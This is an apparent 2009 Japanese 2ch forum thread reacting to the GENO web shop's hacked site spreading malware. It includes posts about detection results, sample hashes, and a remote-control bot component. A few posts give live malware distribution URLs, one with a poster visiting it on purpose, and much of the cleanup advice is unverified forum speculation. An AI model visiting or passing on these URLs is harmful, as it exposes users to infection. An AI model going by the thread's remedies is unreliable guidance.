　　　　　　,ｲ｢ﾄ､　　,!　,!|.../_| |l: ＞ .ヽ.. ィ ＜l 　 l|
　　　　　/　iﾄヾヽ_/　ｨ"＼. | | ＼ ＼ｰ'/ ./ ,,;:`:;'ﾞ

>>396
黙れ腹ぺこシスター

ｷｬｯｼｭ削除＆これ買えよ(^_^)v
http://www.geno-web.jp/ShopCategory/20/2031/Price

　　　　　　＿＿＿_
　 　　　／　　　　　＼
　　　／:::::::::::::::: 　　　＼ ＿
　 ／::::::::::::::::　　　　　　 ||　|　　　　もしもし、 現在45歳なんですが
　 |:::::::::::::::::::::::: 　 　　∩!　,ヽ　＿　　こちらのウィルスにどう対応すれば良いのでしょうか
　 ＼:::::::::::::::: 　 　 　　|　ｰ ﾉ　　　　　　いえ、今はなにもしていません
　　 |　:::::::::::::::　　　 |　i　ｊ　￣￣￣|　　　キャッシュ削除ですか、そうですか、わかりました
　　 |　 :::::::::::::　　　 ゝ__/＿＿＿＿i 　　　どうもありがとうございました
　　 |　　::::::::::　　　　　/　　　　　 ／
　　（＿＿（＿＿　　　ヽ⌒⌒⌒ヽ
　 /　 ,＿/　 ＿＿＿ノ 　　　／
　 `ー'　　`ー'　　　　　　　／

>>398
avast! Web シールド の 警告
アクセス拒否
avast! Web シールド は 遮断したファイルまたはページを検出し、
そのオブジェクトへのアクセスを許可しません。

avast！ｶｯｺﾖｽ

このままスルーしとけばそのうちほとぼりも冷めると思ってるのかGEROは

少なくとも一部のコネチカット州人はそう思ってるらしい
今日はまだきてないかな

GENIOﾅﾂｶｼｽ

販売ページの運営用の機器は売ってるPCと同じルートで
調達してそうだしな。大丈夫なのかここのパソコン。

リンク切ってコピペしろブタ

>>404
GeOS搭載のPHS端末か。スマートフォンの先駆けだったな。

ホップステップ肉離れ

>>408
なぜか不覚にも

http://geno.ne.jp/ribbon/bijou400pcjquery.js

ホップ、ステップ、肉離れはみんなが言うのでオリジナルを誰が言ったのか
いまいちわからん。

あるあるネタの発表がみつからない件

ホップ、ステップ、東尋坊 なら昔ラジオで聞いたんだけどなぁ

とりあえず今パソコン買ってみた

>>408
そこは、ホップステップ客離れだべ。

>>415
うんうんｗ

ハックウイルス客離れ

>>417
評価する

>>418
ありがとう

>>415
ホップ、STEP、客離れ


でよろしいでしょうか？
STEPはGENOの前身らしいし。

HOP,STEP,GENO,横槍入ってGENOSIDE(大量虐殺)

まだウィルスばらまいてる？

>>421
釣り？

謝罪まだなの？

射精なら済ませた

社債なら配ってる

>>1
なんでリンクきって貼り付けないんだ？

Geno使ってなかったんで謝罪なんかどうでもいいんだけど
原因と対策だけは公開してほしい
それわかってなきゃ再発するだろうし

GENOって結局本当にウイルスばらまいてたの？
感染の確認方法いまだにちゃんとでてないけど
ウイルスってやっぱりデマだったの？

誰もデマとか言ってないのに
やっぱりデマだったのとか聞く発想が凄い。
さりげなくなかったことにする作戦。

ウイルスとバグの違いも分からない馬鹿がてんやわんや

>>429
自分でGENOのサイト踏んでみれば？

>>429
マルチしてまで何ほざいてんだ

>>429
GENOのサイトが改竄されたんだ
むしろGENOは被害者だな

>>434
釣り針が大きすぎですよ

またコネチカット州か

久々にこのスレ北がまだ謝罪やら一切なし？
すげーな　会社潰れんだろ

はいはいコネチコネチ

最初は被害者だったけど分かってからも何もしないでバラ撒き続けから屑に格下げ

コネチカットは規制するべきだな

Google
GENO ウィルス　デマ の検索結果 約 442 件
GENO ウィルス の検索結果 約 45,000 件 wwww

またハンバーグ工場か

PCがネットに繋がりにくいんだけど
もしかして…

これだけやられてもまだGENOで買うやつの気が知れん

プロセス50個超えでCPU使用率が2〜8％なんですけど大丈夫ですかね＞＜

玉突き事故ってあるじゃん。
あれってすぐ後ろの人が責任負うんだよね。
最終的には突っ込んだ最後尾の原因作った人だろうけど。

時が癒してくれるさ

今TOPいったら感染するんか？

>>448
二度と行かない方がいいんじゃないかな。

ジェノサイド？

よーし今からウイルスgetしにいくぜ

無料オンラインスキャン10選、PCの安全性をブラウザでチェックニュース - CNET Japan
ttp://japan.cnet.com/news/sec/story/0,2000056024,20391377,00.htm

ん、なんともない？
genoもnaxosも普通だ

GENO工作員がONEGえーします見捨てないでってやってるなwww

ホップ　STEP　客離れ

>>454
！！！！！！！！！！！！！！！！！！！！！

【重要】ECナビの掲載広告にて発生したリンク先ページのウイルス感染について

この度、ECナビサイトにて掲載を行っておりました広告にてリンク先ページが
改ざんされた可能性があり、広告をクリックして遷移先ページを閲覧した
ご利用者様がウイルスに感染した可能性があるという事態が発生しました。

なお、対象となる広告は下記となります。

■対象広告
puppine（株式会社ブランジスタ）

■掲載期間、箇所
【4/2〜4/9 　ポイントチャンス！】
http://ecnavi.jp/frame/?url=http%3A%2F%2Fkensho.ecnavi.jp%2Fsearch%2F&KID=&search=&order=new
愛犬と一緒に楽しめる最新ライフスタイル情報が満載「puppine」

【4/9〜4/10　宝くじ　ガラガラでポン！】
http://point.ecnavi.jp/campaign/lottery/game/
ペットとわたしの新感覚ウェブマガジン「puppine」

※ECナビでは上記の危険認識により、4月10日 15時に広告掲載を停止いたしました。

今回のウィルスに関しましては、Flash/Adobe Readerの既知の脆弱性を悪用するもので、
最新版をお使いならば感染の危険がないという情報もございます。
しかしながら、被害状況等の詳細に関しましては現在掲載サイトにて確認を行っております。
状況が分かり次第再度ご報告させていただきますので、
今しばらくお待ちくださいますようお願いいたします。

>>457
URL
http://ecnavi.jp/help/information/info/221/

>>457
これが普通の対応のはずなのにGenoのおかげで
ものすごく誠意ある対応に見える

くそっ　またフリーズした　このウィルスめ・・・
買い物は全て激安通販でって思ってたのに情けない・・・
笑っちゃうよねっ　馬鹿みたいだけどさ・・・　俺は
新品ノートPCが激安で売ってるショップがあるからって見に行っただけなのに・・・
正直・・・　面食らっちゃって　動揺を隠すよう振舞うので精一杯だった・・・
俺は・・・　本当は・・・　悔しいですっ！！

>>457
可能性ってお前w

早くつぶれねーかなーage

GENOは火消し業者に委託する金はあるのに
被害者救済措置に回す金を惜しむとか最低だよな。

メールしてもテンプレ謝罪メールすらこねーよ

どんだけ糞な会社なんだよGENOって。

リドメで流してＧＥＮＯサイト踏ませようとしてる奴がいるから
リドメやってる人は注意しる

GENOは悪くないと考えることも可能

GENOまだウイルス残ってる？
さっき踏んじまったんだけど

知らんがな
お前が踏む5分前には残っててもお前が踏んだタイミングでは修復されてるかもしれないし
5分前に無くても再びハックされてるかもしれない
自分でチェックしてみるしかないだろ

よし、466はチェックの為に再特攻してくるんだ

セキュ板の次スレ立てたぞ。

GENOウイルススレ　★2
http://pc11.2ch.net/test/read.cgi/sec/1239364066/

リドメってなに？

あんまり騒がれないんだな
どんなウィルスかも分からなきゃ特効薬もない
次はどこでばらまかれるかも分からない
GENOを知らない奴だって明日は我が身なのに

>>463
最低限登録利用者に謝罪メールくらい送るのは
企業として当然のことなのには。
事の重大性を全く認識していないのか、事が大きすぎる
から知らんぷり決め込んでるのか理解に苦しむわ

さすがの社員スレ
http://pc11.2ch.net/test/read.cgi/pc/1239199378/175

>>470
リードメールでぐぐればいろいろでてくる。

リドメでググってもいろいろでてくる。
調べようともしない>>470はカス。

>>474
�d

Readmeかと思ったんだけど
でもそれじゃあと思ってググるまえにきいてもーた

えぇ　カスです

まだ、謝罪なしかよｗ

緊急メンテナンス作業中ですw
ttp://mag-puppine.com/about/

随分と日にちが経ちましたが？

スタッフA
「Webサイトの改ざんによるウイルス感染など普通にパソコンを使用しているだけでも、
ウイルスに感染してしまうという事例が増えています」

スタッフB
「ウイルスの感染を未然に防ぐためにも、最新のセキュリティソフトを使用し、
ウイルス定義データベースを常に最新に保つことが、安全なPC使用の第一歩です」

スタッフC
「ただいま、通販ショップGENOでは、総合セキュリティソフト各種を好評取り扱い中！
PCパーツご購入の際にご一緒にいかがですか？」

http://www.geno.co.jp/recruit/job_01.jpg

geno店頭で100円のDELL中古キーボード大量に売ってたな。
うぃるす付いてそうで買わなかったけど。

122 ：名無しさん：2009/04/09(木) 08:05:30 0
ツクモの配信メールでこんなの着たｗ

▽ ウイルス混入やサイト改ざんなどPCへの脅威対策にセキュリティソフトを
----------------------------------------------------------------------

外部接続デバイスのウイルス混入やWebサイトの改ざんによるウイルス感染など
普通にパソコンを使用しているだけでも、ウイルスに感染してしまうという
事例が増えています

ウイルスの感染を未然に防ぐためにも、最新のセキュリティソフトを使用し、
ウイルス定義データベースを常に最新に保つことが、安全なPC使用の第一歩です

ただいま、ツクモネットショップでは、総合セキュリティソフトの中でも評価の
高いソフトウェア−

>>ウイルス検出率、新種ウイルスの対応を誇る総合セキュリティソフト
・Kaspersky Internet Security 2009 優待版

>>Webからの脅威に対する技術力の強化に加え、更なる使用感の向上を実現した
>>総合セキュリティソフト
・ウイルスバスター2009 1年版

上記2製品のバンドル版パッケージを好評取り扱い中！
お求めになりやすい価格でバンドル対象商品とのセット購入が可能です

PCパーツご購入の際にご一緒にいかがですか？

■ セットでお買い得！ バンドル版セキュリティソフトウェア好評発売中！

>>479
どうやらECナビからの連絡でようやく動いたってところか
まぁ気づいてなかったのか、放置してたのかわからないけど。

GENOのメルマガ
【GENO】4/3(金)〜 4月最初の大更新!! 今年度のGENOは違う!?

違いすぎだろファック。おまけにこれ以降来やがらねえ

擁護アラバマはわかりやすい勤務時間でしか登場しないからツマラン

結局ページファイルが食う原因は何だったの？JavaScript？

>>486
おそらくPDFに埋め込まれたJavaScript

下の下

今AvastたんでHDD検査かけてるんだけど
Win32:Trojan-gen｛Other｝　ってのが大量に見つかるｗｗｗ

これってしばらく前に見たgenoのせいなんかな。

それ誤検出の時によく出るヤツ

>>479
本来セキュリティ問題が見つかれば原因究明および
類似障害の修正なんかで時間かかるはずなんだ
サイト修正しただけで再開してるほうがおかしいのよ

謝罪ﾏﾀﾞｰ？

c:\windows\system32\infdisk.exeが見つかりません。

って出たｗｗｗｗｗ

とうとう来たって幹事でむしろ清々しいｗｗｗｗｗｗ

どうにか直そうと必死になった自分が塵のように思えた

>>493
ｋｗｓｋ

徐々にsystem32とレジストリを改変破壊していくからな
だんだん不具合が多くなり最後に再起動であぽーん

そんな時はRegSeekerでクリーンしろよ

>>494
ｕｐＤＡＴＥできないソフトとか増えて
どうにも我慢できなくなって
色々なファイル削除削除してたら

>>493っぽい表示が出たｗｗｗｗ
酔ってたのでうろ覚えだからファイル名は正しい？かどうかは判らんけど
『\system32』って見えた気がする

頭に来てＳＡＴＡケーブル引っこ抜いて
ＨＤＤにエルボー食らわしてる自分が居た

今は反省している

.

>>497
じゃあ　もともと感染はしてたのね？
再インスコGO

>>497　再インスコが懸命だな･･･
この怒りを忘れるなｗ

テキトーにsystemのデータ消したから起動しなくなっただけじゃね？

>>499　Ｙｅｓ　もろにサイト見て宝ねｗｗｗｗ
>>500
再インスコもうしましたｗｗｗ

それにしても廃ＨＤＤって燃えるゴミなのか資源ごみなのかが判りません

停止状態のHDDはエルボーくらいじゃ壊れんだろう

秋葉原【QCPASS & GENO OUTLET】裏得☆メールマガジン Vol.20
2009/04/10 18:47　に着てるよ・・・ふざけんなこの店

裏得☆メールマガジン（ウィルス添付）

どこが裏得なんだ？

今別サイトでpdf開いたら
問題が発生したため、avast! service GUI component を終了します。
ご不便をおかけして申し訳ありません。AppName: ashdisp.exe
って出たんだけどこれ何・・・

このウィルスの一件でサイトで調べ物ができない
怖い
まいるね

>>507
ashdisp.exeはAvast!のコンポーネント。タスクトレイ常駐や
ダイアログ表示などを行うGUI部分の実行ファイル。
Avastのインストールフォルダにあるでしょ。

このウイルスで流出するデータってせいぜいパスワードとクレカの情報くらいでしょ。
キンタマ・山田みたいなウイルスが今後出てきませんように。マジで怖いから。

>>502
genoに送ってやれ。もち着払いで。

夕方に引き取り修理で引き取られて行ったよ・・・

キャッシュを消してくれ＝GENOにアクセスした証拠消してくれ

って落ちじゃね〜だろうなw

>>513
ウイルスには一言も触れずキャッシュを消せって言ってるんだから
答えは一つだろうｗ

GENO社員は素で勘違いしたんだよ。
↓のようにたまたま感染しなくて、残骸だけ削除して終わり。
ケチって社内で検証なんてしようとするから。。。

338 名前：名無しさん＠お腹いっぱい。[] 投稿日：2009/04/09(木) 08:35:32
踏んでしまったようなのですが、
気になって最初にカスペルオンラインで調べたところ、
Trojan-Downloader.JS.Agent.dwfが検知されました。
ただ、インターネットの一時ファイルを削除したら検知されなくなりました。
AdobeReader/Flash共に最新版ですし、
sqlsodbc.chmのハッシュ値も>>84の通り。
挙動も問題なく再起動も可能です。

これって安心して良いのでしょうか？
最初にカスペルオンラインで検知されたのが気になるんですが…

WhoIs情報
verygoodfine.comも同じ鯖なんだよね？大丈夫かね。

Contact Information: [担当者情報]
a. [JPNICハンドル] AM2772JP
b. [氏名] 馬淵 章子
c. [Last, First] Mabuchi, Akiko
d. [電子メイル] [email protected]
f. [組織名] 株式会社GENO
g. [Organization] GENO Co., Ltd.
k. [部署]
l. [Division]
m. [肩書]
n. [Title]
o. [電話番号]
p. [FAX番号]
y. [通知アドレス]
[最終更新] 2004/11/15 12:02:01 (JST)
[email protected]

>>516
もしかすると食らってたかも知れないな。マジで。
誰もチェックしてなかったけど。

マブチモータ？

トロイはダウンロードしただけでは感染しないんだよね（ただのキャッシュに感染力はない）

GENOcideの常識はアンビリーバブルだな

おかしなJSダウソして、ラトビアに飛ばされてPCボロボロにされる

そのセキュリティーホールにパッチもあてず、スクリプト仕込まれ放題

あの有名アップローダーにそっくりの偽サイトが登場　しかも新種のウイルス付き　注意を呼びかけ
http://tsushima.2ch.net/test/read.cgi/news/1239383242/

自分のセキュリティレベルに自信なかったら、絶対にGENOには近付くな
マジで警告しておく

これってIE経由のみの感染なのか？
ちょろめで開いてたけど未だに何も起きないんだが

>>522
ブラウザには依存しないよ。OSは2kやXPが対象。ただ、Vistaでも場合によっては怪しい挙動を示す模様。

JavascriptがONでインストールされているAcrobatReaderの7.X系、8.X系、9.X系のそれぞれで
最新のバージョンではなくて、またFlashのバージョンが最新じゃないと感染する。

　　　　　　　　　　　　　　　　 _..　-――-　._
　　　　　　　　　　　　　　.／　 ,―――‐-　._` .
　　　　　　　　　　　　 ／）　 ./　 ／　　／　　｀`＼
　　　　　　　　　　　／／／）ィ7T.ﾌ厂￣｀ﾌｉ ‐-_　|〉.　＿人人人人人人人人人人人人人人人人＿
　　　　　　　　　 ／,.=ﾞ''"／ 　ﾌl/_×／/　|ﾊハl　.ﾄ、＞　ｷｬｯｼｭ削除して証拠隠滅なんだよ！　　＜
　　　／　　　　 i f　,.r='"-‐'つｲ._T_i`　 　.r≦lハ!|｀`　^^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^￣
　　/　　　　　 /　　　_,.-‐'~|　|'弋..!ﾉ 　 　 i'＋!ｌ　|
　　　　／　 　,i　　　,二ﾆ⊃l　|' ' '　 ,‐- ..__ﾞｰ' .!l .|
　　　/　 　　ﾉ　　　 i　lﾞフ..,!l .ﾄ､　　ｌ　　｀,! 　 .ハ.!
　　　　　　,ｲ｢ﾄ､　　,!　,!|.../_| |l: ＞ .ヽ.. ィ ＜l 　 l|
　　　　　/　iﾄヾヽ_/　ｨ"＼. | | ＼ ＼ｰ'/ ./ ,,;:`:;'ﾞ

>>522
各ソフトの脆弱性を狙う幕の内弁当的なウイルスですよ。
AcrobatReaderなんて普通一度入れたらそれっきりだから
それを狙われると・・・

　　　　　　　　　　　　　 ／）　　　　　　　　　,.．-──-
　　　　　　　　　　　／／／）　　　　　　／. : : : : : : : : : ＼
　　　　　　　　　 ／,.=ﾞ''"／　　　　　　/.: : : : : : : : : : : : : : ヽ
　　　／　　　　 i f　,.r='"-‐'つ　　　 ,!::: : : :,-…-…-ミ: : : : :',i
　　/　　　　　 /　　　_,.-‐'ﾞ~　　　　 {:: : : : :i '⌒'　 '⌒' i: : : : :}　　
　　　　／　 　,i　　　 ,二ﾆｰ;　　　　 {:: : : : |　ｪｪ　 ｪｪ　|: : : : :} 　　キャッシュをクリアして証拠を隠滅すりゃあいいんだよ！
　　　/　 　　ﾉ　　　 ilﾞ￣￣　　　　　 { : : : :|　　　> 　 |:: : : :;!　 　
　　　　　　,ｲ｢ﾄ､　　,!,!　　　　　　　　 ヾ: :: :i　r‐-ﾆ-┐ | : : :ﾉ
　　　　　/　iﾄヾヽ_/ｨ"＿＿＿. 　 　 　　ゞイ! ヽ 二ﾞノ ｲゞ
　　　　r;　　!＼ヽi._jl/ﾞ_ﾌﾞ,ﾌヽヾｰtｰ:､__　,ｒ|､｀ '' ー--‐ｆ´

最新、最新って言ってるが根拠あって言ってんのか？
最新版にうｐするのはいいが
踏んだ連中を過剰にビビらせてるだけじゃねーのかよ

少し前、ここ表示すると何故かIE激重になって落ちたんだが
www.download.com/AVG-Anti-Virus-Free-Edition/3640-2239_4-10596553.html

TOPは平気
www.download.com/

だが、各ソフト一覧からAVGの項目入ると、また重くなりIE落ちる
やばい？

土曜の朝だったんだよな。
もう1週間か。

>>527
一応セキュリティ板のスレで解析してる人の調査結果等を元にして言ってるんで、
根拠の無い話ではないよ。

じゃあ詳しく書けよ
最新版じゃないとどういう理由で感染するかをな

この人なんでこんなにえらそうなの？

最新版で修正された脆弱性をついた攻撃のようなので
最新版では大丈夫とおもわれるかんじなんです
脆弱性については以下です。
http://www.ipa.go.jp/security/ciadr/vul/20090311-adobe.html

なんでそんなえらそうなの？
教えてって言えないの？

>>531
PCに挙動不審な点がある、または、該当サイトを踏んじゃって
不安なの＞＜という場合はOSのクリーンインストール推奨です
それ以外に元に戻す方法はいまのところございません

>>532
で、お前は解析した結果その脆弱性に至ったの？
適当に最新の脆弱性持ってきただけじゃないの？

>>535
ねえなんでそんなにえらそうなの？
なんで？
いままでの情報みてればわかるとおもうんだけど
なんでそんなに強気なの？
Genoさんなの？
Genoさん原因なんだったか教えてくださいよ

>>531
↓みろよ。あほ。

GENOウイルススレ　★2
http://pc11.2ch.net/test/read.cgi/sec/1239364066/

>>537
そこのどこに最新版じゃなきゃ駄目な理由が書いてあんだよ
レス出してみ？

けんかしないでほしいよ(´・ω・｀)

>>539
すまんな。

最新版じゃなきゃ駄目なんじゃなくて
最新版はバグが修正済って考えるのが正しい。

>>541
だね。

去年の11月くらいにDDRのメモリかったけど
俺は今回の件には関係ないよな？

>>538
だから何でそんなにえらそうにしてるんですか？
60程度しかレスないのに、読んでもわからないなら素直に
そういえばいいじゃないですか

どっちみち踏んでたらおしまいなんでおとなしく
クリーンインストールしてくださいよ

>>543
Genoに限って言えば、はい
でも他もあるんでなんともいえない
不審な点があるならスキャンの実施を推奨します

ＵＲＬ：http://tsushima.2ch.net/test/read.cgi/news/1239241638/535
時刻：2009/04/11(土) 03:24:13.42
ＩＤ：
名前： ユッカ(北海道) さんの発言です。

Good bye 0001
Thank you. Maybe, not be proxy...

違うか

Genoが警察に通報しない理由がよくわからんね。

○単純に時間の無駄
→数日対処に追われたのに？
○顧客情報が漏れた
○顧客がウイルスに感染した
→バレるとマズい？

>>547
単に行政処分等を食らいたくないからでしょ。

その種のペナルティを食らうと銀行が金を貸し渋るようになって
資金繰りが厳しくなるからとかかと。

それに、問題は現状ではあくまで憶測でしか言えないけど、
顧客情報が漏れたという部分に関して発表が本当に正しいかどうか公正な判断が下せないからね。

少なくても仮にクラッカーにFTPでログインされちゃっているのなら
それこそ鯖内に保存されているファイルが根こそぎ盗み出されていても何ら不思議じゃないんだからさ。

×　顧客情報が漏れたという部分
○　顧客情報が漏れていないという部分

訂正

>>547
経営者まで話が言ってない
上がバカでワンマン原人、大した事無いと思ってる
サイトを閉鎖したら売り上げが落ちる
サイトの製作会社待ちで自分では直せない
金を出したくないから放置中

こんな感じじゃないの

ここにメッセージ送ってみるか。
http://www.kokusen.go.jp/t_box/t_box.html

>>550
うん。

ただ、所詮、資本金1000万の人稲零細企業なんだから
いくらなんでも上の人間でもウィルス感染の事実位は把握してるでしょ。

ただ、これまでの動きを見る限り、
事の重大さと、この種の問題発生時の然るべき対処法や
リスクマネージメント的観点での対処法等に関して
全く理解出来ていない可能性は十分にあるね。

恐らく、中の人にあまり頭のいい人がいないんだと思う。

社長が無能なのは間違いない

いいから再開しろとか言ってそう・・・あくまで想像だがｗ
ＰＣ関連で客層考えたら放置できる方がおかしいね
検索とかでそのまま商品ページに飛んだ人とかもいるんじゃないの？

もしかしてダミー社長で裏にラスボスがいるとかｗ

これで消費者センターに送ってみるか。


ネットショップ「GENO」というサイトのトラブルです。
（URL　http://www.geno-web.jp/）
4月4日〜7日にわたり、GENOのWebサイトにアクセスすると、
コンピュータウイルスと思われるプログラムをダウンロードされ、
パソコンが不調になってしまうというトラブルが発生しておりました。

ネット上の様々な方の検証によると、
海外のサイトを経由して何かしらのデータを送っており、
パソコンの動作にも不具合をもたらす模様です。
（参照：http://www29.atwiki.jp/geno/pages/12.html）

同様のウイルスは様々なショップで確認されており、
一部のウイルス対策ソフトウェアでは、ウイルスと認識されるようです。

しかしながら、GENO側は顧客情報の漏れもなく、
ウイルス感染などもないとホームページ上で釈明しておりますが、
（参照：http://www.geno.co.jp/webshop/okyakusama.html）
問い合わせても、返信すらない状況で、非常に不安を感じています。

そもそも外部からクラッキングされているにも関わらず、
警察にも届け出ているかわからず、また問い合わせても連絡すらつかないため、
相手方の言うとおり、顧客のPCに対するウイルス感染
("サーバー"はウイルス感染してないと記述されている)や
顧客の情報漏れが本当にないのか不安です。どうしたらよろしいでしょうか。

　 ∧＿∧
　（　´∀｀）　ぐしゃっ
　（　　 　 ）
　｜　/；l|l,';!i∧　　　 o
　（＿_,';･;※,';；ﾟ;）⊃⌒｀⊃
~~~~~~~YW~~~~~~~~~~~~~~~~~~

／　送ってきてやったよ　＼

>>556
完璧

FTPのパス抜かれて改竄された対応がFTPのパスを変えただけってことはないよな・・？

月曜にはなんかあるだろ

GENOがジェノサイドー

どこかで金落としたorz
入院費なのにorz
財布がジェノサイドー

VirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirus


　　　　　　　　　　　　　　　GEEEEEE NOOOOOOOOOOO!!!!!


VirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirusVirus

http://www.youtube.com/watch?v=DvonMlJa9QA

情報を盗む機能を持ったウイルスを仕掛けた犯人が
サーバに進入したのに何もしないわけないでしょ

JCホテルに連れ込んで「何もやってないっすよ」と言い張るレベル

>>565
糸山先生に消されるぞっ。

>>556の文章に念のためにこのスレのURLを添えて送信した。
進展あるといいな。

消費者センターのパソコンを感染させる計画ですね

同じ文面で警察にも送ってしまえ！

なんかまずいか？

ＧＥＮＯにも対策しないからこの内容で送ったって送信してみたら

>>556
全てのやり取りは保存しとけよ

げろういるす

ウィルスあるのを知ってて面白半分で踏んだクズはゴネるなよ
被害者は何も知らなかった奴だけだ

いったい何がおこるんです？
怖くて再起動できません＞＜
ずっと休止で我慢してます

騒いだくせに予想通りのGENOの対応
つまり感染した奴ざまあって事です

世間が許しても俺のジャスティスは許さないよ

おれは本気で怒っている

ねぇまだウィルス駆除方法見つからないの？
勘弁してよねゲノ
もうゲノHPみねぇよ

>>575
GENOの対応（火消し業者委託とWEBの謝罪）を見ていると
モロにそんな感じだよね。

委託する金があるなら、被害者救済の手を打てばよかったのに。

>>579
TOPみてどこに謝罪文あるか気づかなかった
上に1行リンクとか凄過ぎる

まとめサイトにあるsqlsodbc.chmでの感染確認方法は
XPの場合だけ？Win２０００なんだけど同じファイルを見ると
サイズは1kバイトほど大きくてハッシュも違うんだけど。
もしかして感染してる？？？

一日一許さない
この訴えは毎日続けていくつもりです！

>>581
更新時期は？

>>581
Regedit.exeが起動できるか？
WindowsUpdateはできるか？

ダメなら感染確定。

64 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/04/11(土) 09:32:27
>>9 に書かれているどこかのスレの958です。

再度Virustotalでスキャンしてみました。
各社対応が始まったようで検出率が上がっているようです。

ファイル名 _ycmmf_.cjq.zip 受理 2009.04.11 02:20:16 (CET)
現在の状態： 読込み中 ... 順番待ち 待機中 スキャン中 完了 発見せず 停止
結果: 15/40 (37.5%)

a-squared　　　 4.0.0.101　　Trojan.Agent!IK
AhnLab-V3　　　 5.0.0.2　　　Win-Trojan/Agent.18944.JQ
AntiVir　　　　 7.9.0.138　　TR/Agent.caaj.B
Avast　　　　　 4.8.1335.0　 Win32:Trojan-gen {Other}
AVG　　　　　　 8.5.0.285　　Delf.JTL
CAT-QuickHeal　 10.00　　　　Trojan.Agent.IRC
eTrust-Vet　　　31.6.6450　　Win32/SillyDl.HDU
Fortinet　　　　3.117.0.0　　PossibleThreat
GData　　　　　 19　　　　　 Win32:Trojan-gen {Other}
Ikarus　　　　　T3.1.1.49.0　Trojan.Agent
K7AntiVirus　　 7.10.698　　 Trojan.Win32.Malware.1
McAfee+Artemis　5580　　　　 Generic!Artemis
McAfee-GW-Edition 6.7.6　　　Trojan.PSW.Delf.AB
NOD32　　　　　 4000　　　　 a variant of Win32/Delf.OEX
Prevx1　　　　　V2　　　　　 High Risk Cloaked Malware

AVGは検出しましたが、またしてもカスペルスキーはダメでした。
Kaspersky　　　 7.0.0.125　 -

カスペ使えないのかよ、今まで連呼してた奴らって・・・・

>>585
ノートン全然だめでワロタ

有料の奴はサポート料と人件費だとあれほど…

>>583
更新日時は2001/02/19
作成日時は2009/01/28
>>584
両方とも無事起動します。

と、言うかここで変わりに解決してやろうとしてる気がして
本人達が何も対策しないのにちょっと嫌な気分だな
それを言ったらこのスレの存在意義が無くなるのか・・・
http://www.youtube.com/watch?v=uA-gVJXOcn8

>>589
ブラクラ注意

GENOのセキュリティサポートをしてるようなものかｗ

死ぬの覚悟でavast!切ってsage://94.247.2.195/news/?id=10&踏んだ
u2.exeがおちてきた
これをvirustotalかけてもうた
http://www.virustotal.com/jp/analisis/0b323d289f2881538ceaea3b267dea1c

>>592
それはつまり、一番厄介なファイルに対しては、殆どのエンジンが対応してないって事か。

だな
まえこれでダウンしたの実行したらcmd.exeを実行しようとしたらShell落ちた。
それの会費はしたが、落としてるファイルがわからんのでクリーンインスコシタ

u2.exe -プロセス情報

このコンポーネントはW32.Sdbotの一部です


成分名 ： u2.exe

の説明 ：このワームは、リモートでコードが実行可能にし、リモートユーザーは、システムの
制御を取得することができますWindowsのLSASSの脆弱性を活用して広がる。
このユーザーは、開いているポートをスキャン、実行可能プログラムを実行すると、
ファイルシステム情報を、アップロードまたはダウンロードを得ることができるとファイルを削除します。

推薦 ：
これはこのプログラムをすぐに削除することをお勧めします。

ソース↓
ttp://translate.google.co.jp/translate?hl=ja&sl=en&u=http://www.fbmsoftware.com
/spyware-net/process/u2_exe/1561/&ei=UfzfSZz2IdigkQX24KneCw&sa=X&oi=
translate&resnum=1&ct=result&prev=/search%3Fq%3Du2.exe%26hl%3Dja%26lr%3D%26sa%3DG

でもこれ動いたらステルスして消せないんだなww

>>588
ちゃんとWindowsUpdateしてるのか？＜Windows2000
アップデートしてれば、まとめwikiとサイズ/ハッシュは同じになるはず

>>595
id=10から吐かれるexeはランダム名
そいつはたまたま

>>598
それが問題
一緒だと思ってても変わってることがあったり
変わってると思っても一緒だったりする

>>599
ttp://pc11.2ch.net/test/read.cgi/sec/1239364066/
こっちで検体うｐれば有り難がられるとおも

La.exe（15872 bytes）
6de7f96fe398ca304b1992869faf55c7

8lv.exe（15360 bytes）【実物は未確認】
791509d03706cbc8883536b5131341d4

別のexe（16384 bytes）
2586a42cfdc03ea62694f5641b5d7633

>>600
さっくす
いってきまー

>>598
いまセキュ板に巻き込まれ規制中で書けないからこっちに書くけど、id=2とid=3から出てくるPDFとSWF、また新種になってる。
　http://www.virustotal.com/jp/analisis/cb5eff9bf3ae7622291dc094b64f9b68
　http://www.virustotal.com/jp/analisis/415151ab3a887a18c6269b0dda290a8c

Kasperskyのヒューリスティックでとっつかまえたけど、マジで、そのサイト危険すぎる。ヒューリスティックが脆弱なソフトは要注意だと思う。

俺の方、Avira AntiVir Free入れた仮想マシン、見事に抜けて（ヒューリスティックも効かなかった）直撃。
というか、仮想マシンの方でファイル落としているんだけど、見事なまでにCPU使用率が上がって操作受け付けなくなった。

>>602
書き忘れた。Kasperskyには検体送ってあるので、一応。

PDFの方はMD5　2827CED9D6028A6D4F609959E1AD5795
SWFの方はMD5　0487C4D80581262ABBDAF61511B7A329

必要なら、zipに固めてアップする。

GENOのサイトどうなっていますか？

怖くて見に行けない・・・

　　　　　　　　　　　　　　　　 _..　-――-　._
　　　　　　　　　　　　　　.／　 ,―――‐-　._` .
　　　　　　　　　　　　 ／）　 ./　 ／　　／　　｀`＼
　　　　　　　　　　　／／／）ィ7T.ﾌ厂￣｀ﾌｉ ‐-_　|〉.　＿人人人人人人人人人人人人人人人人人人人＿
　　　　　　　　　 ／,.=ﾞ''"／ 　ﾌl/_×／/　|ﾊハl　.ﾄ、＞　当麻、ｷｬｯｼｭ削除して証拠隠滅なんだよ！　　＜
　　　／　　　　 i f　,.r='"-‐'つｲ._T_i`　 　.r≦lハ!|｀`　^^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^ＹＹ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^￣
　　/　　　　　 /　　　_,.-‐'~|　|'弋..!ﾉ 　 　 i'＋!ｌ　|
　　　　／　 　,i　　　,二ﾆ⊃l　|' ' '　 ,‐- ..__ﾞｰ' .!l .|
　　　/　 　　ﾉ　　　 i　lﾞフ..,!l .ﾄ､　　ｌ　　｀,! 　 .ハ.!
